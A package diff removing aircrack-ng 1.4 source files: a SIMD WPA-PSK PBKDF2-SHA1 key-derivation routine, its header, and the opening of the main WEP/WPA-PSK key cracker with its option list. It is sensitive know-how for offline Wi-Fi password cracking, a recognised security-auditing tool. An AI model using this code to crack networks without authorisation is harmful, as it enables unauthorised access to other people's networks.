-	unsigned char * sse_crypt1 = NULL;
-	unsigned char * sse_crypt2 = NULL;
-	unsigned char essid[ESSID_LENGTH + 4];
-
-	sse_hash1 = engine->thread_data[threadid]->hash1;
-	sse_crypt1 = engine->thread_data[threadid]->crypt1;
-	sse_crypt2 = engine->thread_data[threadid]->crypt2;
-
-	memset(essid, 0, sizeof(essid));
-	strncpy((char *) essid,
-			(const char *) engine->essid,
-			(size_t) engine->essid_length);
-
-	for (t = 0; t < loops; t++)
-	{
-		unsigned int i, k, j;
-		union {
-			unsigned char c[64];
-			uint32_t i[16];
-		} buffer[NBKEYS];
-		union {
-			unsigned char c[40];
-			uint32_t i[10];
-		} outbuf[NBKEYS];
-		SHA_CTX ctx_ipad[NBKEYS];
-		SHA_CTX ctx_opad[NBKEYS];
-
-		SHA_CTX sha1_ctx;
-		unsigned int *i1, *i2, *o1;
-		unsigned char *t_sse_crypt1, *t_sse_crypt2, *t_sse_hash1;
-
-		// All pointers get their offset for this thread here. No further
-		// offsetting below.
-		t_sse_crypt1 = &sse_crypt1[t * NBKEYS * 20];
-		t_sse_crypt2 = &sse_crypt2[t * NBKEYS * 20];
-		t_sse_hash1 = &sse_hash1[t * NBKEYS * SHA_BUF_SIZ * 4];
-		i1 = (unsigned int *) t_sse_crypt1;
-		i2 = (unsigned int *) t_sse_crypt2;
-		o1 = (unsigned int *) t_sse_hash1;
-
-		for (j = 0; j < NBKEYS; ++j)
-		{
-			memcpy(
-				buffer[j].c, in[t * NBKEYS + j].v, in[t * NBKEYS + j].length);
-			memset(&buffer[j].c[in[t * NBKEYS + j].length],
-				   0,
-				   64 - in[t * NBKEYS + j].length);
-			SHA1_Init(&ctx_ipad[j]);
-			SHA1_Init(&ctx_opad[j]);
-
-			for (i = 0; i < 16; i++) buffer[j].i[i] ^= 0x36363636;
-			SHA1_Update(&ctx_ipad[j], buffer[j].c, 64);
-
-			for (i = 0; i < 16; i++) buffer[j].i[i] ^= 0x6a6a6a6a;
-			SHA1_Update(&ctx_opad[j], buffer[j].c, 64);
-
-// we memcopy from flat into MMX_COEF output buffer's (our 'temp' ctx buffer).
-// This data will NOT need to be BE swapped (it already IS BE swapped).
-#ifdef SIMD_CORE
-			i1[(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
-			   + 0 * SIMD_COEF_32]
-				= ctx_ipad[j].h0;
-			i1[(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
-			   + 1 * SIMD_COEF_32]
-				= ctx_ipad[j].h1;
-			i1[(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
-			   + 2 * SIMD_COEF_32]
-				= ctx_ipad[j].h2;
-			i1[(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
-			   + 3 * SIMD_COEF_32]
-				= ctx_ipad[j].h3;
-			i1[(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
-			   + 4 * SIMD_COEF_32]
-				= ctx_ipad[j].h4;
-
-			i2[(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
-			   + 0 * SIMD_COEF_32]
-				= ctx_opad[j].h0;
-			i2[(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
-			   + 1 * SIMD_COEF_32]
-				= ctx_opad[j].h1;
-			i2[(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
-			   + 2 * SIMD_COEF_32]
-				= ctx_opad[j].h2;
-			i2[(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
-			   + 3 * SIMD_COEF_32]
-				= ctx_opad[j].h3;
-			i2[(j / SIMD_COEF_32) * SIMD_COEF_32 * 5 + (j & (SIMD_COEF_32 - 1))
-			   + 4 * SIMD_COEF_32]
-				= ctx_opad[j].h4;
-#else
-			i1[(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))]
-				= ctx_ipad[j].h0;
-			i1[(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1)) + MMX_COEF]
-				= ctx_ipad[j].h1;
-			i1[(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))
-			   + (MMX_COEF << 1)]
-				= ctx_ipad[j].h2;
-			i1[(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))
-			   + MMX_COEF * 3]
-				= ctx_ipad[j].h3;
-			i1[(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))
-			   + (MMX_COEF << 2)]
-				= ctx_ipad[j].h4;
-
-			i2[(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))]
-				= ctx_opad[j].h0;
-			i2[(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1)) + MMX_COEF]
-				= ctx_opad[j].h1;
-			i2[(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))
-			   + (MMX_COEF << 1)]
-				= ctx_opad[j].h2;
-			i2[(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))
-			   + MMX_COEF * 3]
-				= ctx_opad[j].h3;
-			i2[(j / MMX_COEF) * MMX_COEF * 5 + (j & (MMX_COEF - 1))
-			   + (MMX_COEF << 2)]
-				= ctx_opad[j].h4;
-#endif
-
-			essid[slen - 1] = 1;
-			// This code does the HMAC(EVP_....) call.  We already have essid
-			// appended with BE((int)1) so we simply call a single SHA1_Update
-			memcpy(&sha1_ctx, &ctx_ipad[j], sizeof(sha1_ctx));
-			SHA1_Update(&sha1_ctx, essid, slen);
-			SHA1_Final(outbuf[j].c, &sha1_ctx);
-			memcpy(&sha1_ctx, &ctx_opad[j], sizeof(sha1_ctx));
-			SHA1_Update(&sha1_ctx, outbuf[j].c, SHA_DIGEST_LENGTH);
-			SHA1_Final(outbuf[j].c, &sha1_ctx);
-
-// now convert this from flat into MMX_COEF buffers.   (same as the memcpy()
-// commented out in the last line)
-// Also, perform the 'first' ^= into the crypt buffer.  We are doing that in BE
-// format
-// so we will need to 'undo' that in the end.
-#ifdef SIMD_CORE
-			o1[(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
-			   + (j & (SIMD_COEF_32 - 1))
-			   + 0 * SIMD_COEF_32]
-				= outbuf[j].i[0] = sha1_ctx.h0;
-			o1[(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
-			   + (j & (SIMD_COEF_32 - 1))
-			   + 1 * SIMD_COEF_32]
-				= outbuf[j].i[1] = sha1_ctx.h1;
-			o1[(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
-			   + (j & (SIMD_COEF_32 - 1))
-			   + 2 * SIMD_COEF_32]
-				= outbuf[j].i[2] = sha1_ctx.h2;
-			o1[(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
-			   + (j & (SIMD_COEF_32 - 1))
-			   + 3 * SIMD_COEF_32]
-				= outbuf[j].i[3] = sha1_ctx.h3;
-			o1[(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
-			   + (j & (SIMD_COEF_32 - 1))
-			   + 4 * SIMD_COEF_32]
-				= outbuf[j].i[4] = sha1_ctx.h4;
-#else
-			o1[(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))]
-				= outbuf[j].i[0] = sha1_ctx.h0;
-			o1[(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
-			   + MMX_COEF]
-				= outbuf[j].i[1] = sha1_ctx.h1;
-			o1[(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
-			   + (MMX_COEF << 1)]
-				= outbuf[j].i[2] = sha1_ctx.h2;
-			o1[(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
-			   + MMX_COEF * 3]
-				= outbuf[j].i[3] = sha1_ctx.h3;
-			o1[(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
-			   + (MMX_COEF << 2)]
-				= outbuf[j].i[4] = sha1_ctx.h4;
-#endif
-		}
-
-		for (i = 1; i < 4096; i++)
-		{
-			SIMDSHA1body((unsigned int *) t_sse_hash1,
-						 (unsigned int *) t_sse_hash1,
-						 (unsigned int *) t_sse_crypt1,
-						 SSEi_MIXED_IN | SSEi_RELOAD | SSEi_OUTPUT_AS_INP_FMT);
-			SIMDSHA1body((unsigned int *) t_sse_hash1,
-						 (unsigned int *) t_sse_hash1,
-						 (unsigned int *) t_sse_crypt2,
-						 SSEi_MIXED_IN | SSEi_RELOAD | SSEi_OUTPUT_AS_INP_FMT);
-
-			for (j = 0; j < NBKEYS; j++)
-			{
-#ifdef SIMD_CORE
-				unsigned * p
-					= &((unsigned int *)
-							t_sse_hash1)[(((j / SIMD_COEF_32) * SHA_BUF_SIZ)
-										  * SIMD_COEF_32)
-										 + (j & (SIMD_COEF_32 - 1))];
-				for (k = 0; k < 5; k++) outbuf[j].i[k] ^= p[(k * SIMD_COEF_32)];
-#else
-				unsigned * p = &((
-					unsigned int *) t_sse_hash1)[(((j >> 2) * SHA_BUF_SIZ) << 2)
-												 + (j & (MMX_COEF - 1))];
-				for (k = 0; k < 5; k++)
-					outbuf[j].i[k] ^= p[(k << (MMX_COEF >> 1))];
-#endif
-			}
-		}
-
-		essid[slen - 1] = 2;
-		for (j = 0; j < NBKEYS; ++j)
-		{
-			// This code does the HMAC(EVP_....) call. We already have essid
-			// appended with BE((int)1) so we simply call a single SHA1_Update
-			memcpy(&sha1_ctx, &ctx_ipad[j], sizeof(sha1_ctx));
-			SHA1_Update(&sha1_ctx, essid, slen);
-			SHA1_Final(&outbuf[j].c[20], &sha1_ctx);
-			memcpy(&sha1_ctx, &ctx_opad[j], sizeof(sha1_ctx));
-			SHA1_Update(&sha1_ctx, &outbuf[j].c[20], 20);
-			SHA1_Final(&outbuf[j].c[20], &sha1_ctx);
-
-// now convert this from flat into MMX_COEF buffers.  (same as the memcpy()
-// commented out in the last line)
-// Also, perform the 'first' ^= into the crypt buffer.  We are doing that in BE
-// format
-// so we will need to 'undo' that in the end. (only 3 dwords of the 2nd block
-// outbuf are worked with).
-#ifdef SIMD_CORE
-			o1[(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
-			   + (j & (SIMD_COEF_32 - 1))
-			   + 0 * SIMD_COEF_32]
-				= outbuf[j].i[5] = sha1_ctx.h0;
-			o1[(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
-			   + (j & (SIMD_COEF_32 - 1))
-			   + 1 * SIMD_COEF_32]
-				= outbuf[j].i[6] = sha1_ctx.h1;
-			o1[(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
-			   + (j & (SIMD_COEF_32 - 1))
-			   + 2 * SIMD_COEF_32]
-				= outbuf[j].i[7] = sha1_ctx.h2;
-			o1[(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
-			   + (j & (SIMD_COEF_32 - 1))
-			   + 3 * SIMD_COEF_32]
-				= sha1_ctx.h3;
-			o1[(j / SIMD_COEF_32) * SIMD_COEF_32 * SHA_BUF_SIZ
-			   + (j & (SIMD_COEF_32 - 1))
-			   + 4 * SIMD_COEF_32]
-				= sha1_ctx.h4;
-#else
-			o1[(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))]
-				= outbuf[j].i[5] = sha1_ctx.h0;
-			o1[(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
-			   + MMX_COEF]
-				= outbuf[j].i[6] = sha1_ctx.h1;
-			o1[(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
-			   + (MMX_COEF << 1)]
-				= outbuf[j].i[7] = sha1_ctx.h2;
-			o1[(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
-			   + MMX_COEF * 3]
-				= sha1_ctx.h3;
-			o1[(j / MMX_COEF) * MMX_COEF * SHA_BUF_SIZ + (j & (MMX_COEF - 1))
-			   + (MMX_COEF << 2)]
-				= sha1_ctx.h4;
-#endif
-		}
-		for (i = 1; i < 4096; i++)
-		{
-			SIMDSHA1body((unsigned int *) t_sse_hash1,
-						 (unsigned int *) t_sse_hash1,
-						 (unsigned int *) t_sse_crypt1,
-						 SSEi_MIXED_IN | SSEi_RELOAD | SSEi_OUTPUT_AS_INP_FMT);
-			SIMDSHA1body((unsigned int *) t_sse_hash1,
-						 (unsigned int *) t_sse_hash1,
-						 (unsigned int *) t_sse_crypt2,
-						 SSEi_MIXED_IN | SSEi_RELOAD | SSEi_OUTPUT_AS_INP_FMT);
-			for (j = 0; j < NBKEYS; j++)
-			{
-#ifdef SIMD_CORE
-				unsigned * p
-					= &((unsigned int *)
-							t_sse_hash1)[(((j / SIMD_COEF_32) * SHA_BUF_SIZ)
-										  * SIMD_COEF_32)
-										 + (j & (SIMD_COEF_32 - 1))];
-				for (k = 5; k < 8; k++)
-					outbuf[j].i[k] ^= p[((k - 5) * SIMD_COEF_32)];
-#else
-				unsigned * p = &((
-					unsigned int *) t_sse_hash1)[(((j >> 2) * SHA_BUF_SIZ) << 2)
-												 + (j & (MMX_COEF - 1))];
-				for (k = 5; k < 8; k++)
-					outbuf[j].i[k] ^= p[((k - 5) << (MMX_COEF >> 1))];
-#endif
-			}
-		}
-
-		for (j = 0; j < NBKEYS; ++j)
-		{
-			memcpy(&engine->thread_data[threadid]->pmk[j], outbuf[j].c, 32);
-			alter_endianity_to_BE((&engine->thread_data[threadid]->pmk[j]), 8);
-		}
-	}
-
-	return;
-}
-#endif
-
-void init_atoi()
-{
-	char * pos;
-
-	memset(atoi64, 0x7F, sizeof(atoi64));
-	for (pos = itoa64; pos != &itoa64[63]; pos++)
-		atoi64[ARCH_INDEX(*pos)] = pos - itoa64;
-}
-
-#ifdef SIMD_CORE
-//#define XDEBUG 1
-//#define ODEBUG 1
-int init_wpapsk(ac_crypto_engine_t * engine,
-				const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
-				int nparallel,
-				int threadid)
-{
-	int i = 0;
-	int count = 0;
-
-	// clear entire output table
-	memset(engine->thread_data[threadid]->pmk,
-		   0,
-		   (sizeof(wpapsk_hash) * (nparallel)));
-
-	{
-		unsigned char * sse_hash1 = engine->thread_data[threadid]->hash1;
-
-		int index;
-		for (index = 0; index < nparallel; ++index)
-		{
-// set the length of all hash1 SSE buffer to 64+20 * 8 bits. The 64 is for the
-// ipad/opad,
-// the 20 is for the length of the SHA1 buffer that also gets into each crypt.
-// Works for SSE2i and SSE2
-#ifdef SIMD_CORE
-			((unsigned int *)
-				 sse_hash1)[15 * SIMD_COEF_32 + (index & (SIMD_COEF_32 - 1))
-							+ (unsigned int) index / SIMD_COEF_32 * SHA_BUF_SIZ
-								  * SIMD_COEF_32]
-				= (84 << 3); // all encrypts are 64+20 bytes.
-#else
-			((unsigned int *)
-				 sse_hash1)[15 * MMX_COEF + (index & (MMX_COEF - 1))
-							+ (index >> (MMX_COEF >> 1)) * SHA_BUF_SIZ
-								  * MMX_COEF]
-				= (84 << 3); // all encrypts are 64+20 bytes.
-#endif
-			sse_hash1[GETPOS(20, index)] = 0x80;
-		}
-	}
-
-	for (i = 0; i < nparallel; ++i)
-	{
-		char * tkey = (char *) key[i].v;
-
-		if (*tkey != 0)
-		{
-//			set_key(tkey, i, inbuffer);
-#ifdef XDEBUG
-			printf(
-				"key%d (inbuffer) = (%p) %s  VALID\n", i + 1, tkey, key[i].v);
-#endif
-			count = i + 1;
-		}
-	}
-
-	wpapsk_sse(engine, threadid, count, key);
-
-	return 0;
-}
-#endif
\ No newline at end of file

aircrack-ng-1.4.tar.gz/src/aircrack-crypto/wpapsk.h Deleted

@@ -1,84 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- * This software is Copyright (c) 2012 Lukas Odzioba <lukas dot odzioba at gmail
- * dot com>
- * and Copyright (c) 2012-2014 magnum
- * and it is hereby released to the general public under the following terms:
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted.
- *
- * hccap format was introduced by oclHashcat-plus, and it is described here:
- * http://hashcat.net/wiki/hccap
- * Code is based on  Aircrack-ng source
- */
-#ifndef _WPAPSK_H
-#define _WPAPSK_H
-
-#include <string.h>
-#include <assert.h>
-#ifdef USE_GCRYPT
-#include "gcrypt-openssl-wrapper.h"
-#else
-#include <openssl/hmac.h>
-#endif
-#include <stdint.h>
-#include "arch.h"
-#include "jcommon.h"
-#include "johnswap.h"
-
-#include "crypto_engine.h"
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-void init_atoi(void);
-int init_wpapsk(ac_crypto_engine_t * engine,
-				const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
-				int nparallel,
-				int threadid);
-
-#ifdef __cplusplus
-}
-#endif
-
-#endif /* _WPAPSK_H */

aircrack-ng-1.4.tar.gz/src/aircrack-ng.c Deleted

@@ -1,6905 +0,0 @@
-/*
- *  802.11 WEP / WPA-PSK Key Cracker
- *
- *  Copyright (C) 2006-2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
- *  Copyright (C) 2004, 2005 Christophe Devine
- *
- *  Advanced WEP attacks developed by KoreK
- *  WPA-PSK  attack code developed by Joshua Wright
- *  SHA1 MMX assembly code written by Simon Marechal
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-#define _GNU_SOURCE
-
-#include <ctype.h>
-#include <dlfcn.h>
-#include <err.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <float.h>
-#include <getopt.h>
-#include <limits.h>
-#include <math.h>
-#include <netinet/in.h>
-#include <pthread.h>
-#include <signal.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/stat.h>
-#include <sys/time.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <termios.h>
-#include <time.h>
-#include <unistd.h>
-
-#include <aircrack-crypto/crypto_engine.h>
-#include "aircrack-crypto/sha1-sse2.h"
-#include "aircrack-crypto/wpapsk.h"
-#include "aircrack-ng.h"
-#include "aircrack-osdep/byteorder.h"
-#include "aircrack-util/avl_tree.h"
-#include "aircrack-util/common.h"
-#include "aircrack-util/console.h"
-#include "aircrack-util/cpuset.h"
-#include "aircrack-util/crypto_engine_loader.h"
-#include "aircrack-util/simd_cpuid.h"
-#include "aircrack-util/trampoline.h"
-#include "cowpatty.h"
-#include "crypto.h"
-#include "hashcat.h"
-#include "linecount.h"
-#include "pcap.h"
-#include "session.h"
-#include "uniqueiv.h"
-#include "version.h"
-#include "wkp-frame.h"
-
-#ifdef HAVE_SQLITE
-#include <sqlite3.h>
-
-sqlite3 * db;
-#else
-char * db;
-#endif
-
-// libgcrypt thread callback definition for libgcrypt < 1.6.0
-#ifdef USE_GCRYPT
-#if GCRYPT_VERSION_NUMBER < 0x010600
-GCRY_THREAD_OPTION_PTHREAD_IMPL;
-#endif
-#endif
-
-#ifndef DYNAMIC
-#define DYNAMIC 1
-#endif
-static int station_compare(const void * a, const void * b)
-{
-	return memcmp(a, b, 6);
-}
-
-/* stats global data */
-
-static int _speed_test;
-static long _speed_test_length = 15;
-struct timeval t_begin; /* time at start of attack      */
-struct timeval t_stats; /* time since last update       */
-struct timeval t_kprev; /* time at start of window      */
-struct timeval t_dictup; /* next dictionary total read   */
-long long int nb_kprev; /* last  # of keys tried        */
-long long int nb_tried; /* total # of keys tried        */
-static ac_crypto_engine_t engine; /* crypto engine */
-
-/* IPC global data */
-
-static struct options opt;
-static struct WEP_data wep __attribute__((aligned(64)));
-c_avl_tree_t * access_points = NULL;
-c_avl_tree_t * targets = NULL;
-pthread_mutex_t mx_apl; /* lock write access to ap LL   */
-pthread_mutex_t mx_eof; /* lock write access to nb_eof  */
-pthread_mutex_t mx_ivb; /* lock access to ivbuf array   */
-pthread_mutex_t mx_dic; /* lock access to opt.dict      */
-pthread_cond_t cv_eof; /* read EOF condition variable  */
-int nb_eof = 0; /* # of threads who reached eof */
-long nb_pkt = 0; /* # of packets read so far     */
-int mc_pipe[256][2]; /* master->child control pipe   */
-int cm_pipe[256][2]; /* child->master results pipe   */
-int bf_pipe[256][2]; /* bruteforcer 'queue' pipe	 */
-int bf_nkeys[256];
-unsigned char bf_wepkey[64];
-int wepkey_crack_success = 0;
-int close_aircrack = 0;
-int id = 0;
-pthread_t tid[MAX_THREADS] = {0};
-pthread_t cracking_session_tid;
-struct WPA_data wpa_data[MAX_THREADS];
-int wpa_wordlists_done = 0;
-static pthread_mutex_t mx_nb = PTHREAD_MUTEX_INITIALIZER;
-static pthread_mutex_t mx_wpastats = PTHREAD_MUTEX_INITIALIZER;
-ac_cpuset_t * cpuset = NULL;
-
-#define GOT_IV 0x00000001
-#define USE_IV 0x00000002
-#define K01_IV 0x00000010
-#define K02_IV 0x00000020
-#define K03_IV 0x00000040
-#define K04_IV 0x00000080
-#define K05_IV 0x00000100
-#define K06_IV 0x00000200
-#define K07_IV 0x00000400
-#define K08_IV 0x00000800
-#define K09_IV 0x00001000
-#define K10_IV 0x00002000
-#define K11_IV 0x00004000
-#define K12_IV 0x00008000
-#define K13_IV 0x00010000
-#define K14_IV 0x00020000
-#define K15_IV 0x00040000
-#define K16_IV 0x00080000
-#define K17_IV 0x00100000
-
-typedef struct
-{
-	uint8_t mode;
-	char * filename;
-} packet_reader_t;
-
-#define PACKET_READER_CHECK_MODE 0
-#define PACKET_READER_READ_MODE 1
-
-typedef struct
-{
-	int off1;
-	int off2;
-	void * buf1;
-	void * buf2;
-} read_buf;
-
-int K_COEFF[N_ATTACKS]
-	= {15, 13, 12, 12, 12, 5, 5, 5, 3, 4, 3, 4, 3, 13, 4, 4, -20};
-
-int PTW_DEFAULTWEIGHT[1] = {256};
-int PTW_DEFAULTBF[PTW_KEYHSBYTES]
-	= {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
-	   0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
-
-const unsigned char R[256] = {
-	0,   1,   2,   3,   4,   5,   6,   7,   8,   9,   10,  11,  12,  13,  14,
-	15,  16,  17,  18,  19,  20,  21,  22,  23,  24,  25,  26,  27,  28,  29,
-	30,  31,  32,  33,  34,  35,  36,  37,  38,  39,  40,  41,  42,  43,  44,
-	45,  46,  47,  48,  49,  50,  51,  52,  53,  54,  55,  56,  57,  58,  59,
-	60,  61,  62,  63,  64,  65,  66,  67,  68,  69,  70,  71,  72,  73,  74,
-	75,  76,  77,  78,  79,  80,  81,  82,  83,  84,  85,  86,  87,  88,  89,
-	90,  91,  92,  93,  94,  95,  96,  97,  98,  99,  100, 101, 102, 103, 104,
-	105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119,
-	120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134,
-	135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149,
-	150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164,
-	165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179,
-	180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194,
-	195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209,
-	210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224,
-	225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239,
-	240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254,
-	255};
-
-char usage[] = "\n"
-			   "  %s - (C) 2006-2018 Thomas d\'Otreppe\n"
-			   "  https://www.aircrack-ng.org\n"
-			   "\n"
-			   "  usage: aircrack-ng [options] <input file(s)>\n"
-			   "\n"
-			   "  Common options:\n"
-			   "\n"
-			   "      -a <amode> : force attack mode (1/WEP, 2/WPA-PSK)\n"
-			   "      -e <essid> : target selection: network identifier\n"
-			   "      -b <bssid> : target selection: access point's MAC\n"
-			   "      -p <nbcpu> : # of CPU to use  (default: all CPUs)\n"
-			   "      -q         : enable quiet mode (no status output)\n"
-			   "      -C <macs>  : merge the given APs to a virtual one\n"
-			   "      -l <file>  : write key to file. Overwrites file.\n"
-			   "\n"
-			   "  Static WEP cracking options:\n"
-			   "\n"
-			   "      -c         : search alpha-numeric characters only\n"
-			   "      -t         : search binary coded decimal chr only\n"
-			   "      -h         : search the numeric key for Fritz!BOX\n"
-			   "      -d <mask>  : use masking of the key (A1:XX:CF:YY)\n"
-			   "      -m <maddr> : MAC address to filter usable packets\n"
-			   "      -n <nbits> : WEP key length :  64/128/152/256/512\n"
-			   "      -i <index> : WEP key index (1 to 4), default: any\n"
-			   "      -f <fudge> : bruteforce fudge factor,  default: 2\n"
-			   "      -k <korek> : disable one attack method  (1 to 17)\n"
-			   "      -x or -x0  : disable bruteforce for last keybytes\n"
-			   "      -x1        : last keybyte bruteforcing  (default)\n"
-			   "      -x2        : enable last  2 keybytes bruteforcing"
-			   "%s"
-			   "      -y         : experimental  single bruteforce mode\n"
-			   "      -K         : use only old KoreK attacks (pre-PTW)\n"
-			   "      -s         : show the key in ASCII while cracking\n"
-			   "      -M <num>   : specify maximum number of IVs to use\n"
-			   "      -D         : WEP decloak, skips broken keystreams\n"
-			   "      -P <num>   : PTW debug:  1: disable Klein, 2: PTW\n"
-			   "      -1         : run only 1 try to crack key with PTW\n"
-			   "      -V         : run in visual inspection mode\n"
-			   "\n"
-			   "  WEP and WPA-PSK cracking options:\n"
-			   "\n"
-			   "      -w <words> : path to wordlist(s) filename(s)\n"
-			   "      -N <file>  : path to new session filename\n"
-			   "      -R <file>  : path to existing session filename\n"
-			   "\n"
-			   "  WPA-PSK options:\n"
-			   "\n"
-			   "      -E <file>  : create EWSA Project file v3\n"
-			   "      -j <file>  : create Hashcat v3.6+ file (HCCAPX)\n"
-			   "      -J <file>  : create Hashcat file (HCCAP)\n"
-			   "      -S         : WPA cracking speed test\n"
-			   "      -Z <sec>   : WPA cracking speed test length of\n"
-			   "                   execution.\n"
-#ifdef HAVE_SQLITE
-			   "      -r <DB>    : path to airolib-ng database\n"
-			   "                   (Cannot be used with -w)\n"
-#endif
-#if DYNAMIC
-			   "\n"
-			   "  SIMD selection:\n"
-			   "\n"
-			   "      --simd-list       : Show a list of the available\n"
-			   "                          SIMD architectures, for this\n"
-			   "                          machine.\n"
-			   "      --simd=<option>   : Use specific SIMD architecture.\n"
-			   "\n"
-			   "      <option> may be one of the following, depending on\n"
-			   "      your platform:\n"
-			   "\n"
-			   "                   generic\n"
-			   "                   avx512\n"
-			   "                   avx2\n"
-			   "                   avx\n"
-			   "                   sse2\n"
-			   "                   altivec\n"
-			   "                   power8\n"
-			   "                   asimd\n"
-			   "                   neon\n"
-#endif
-			   "\n"
-			   "  Other options:\n"
-			   "\n"
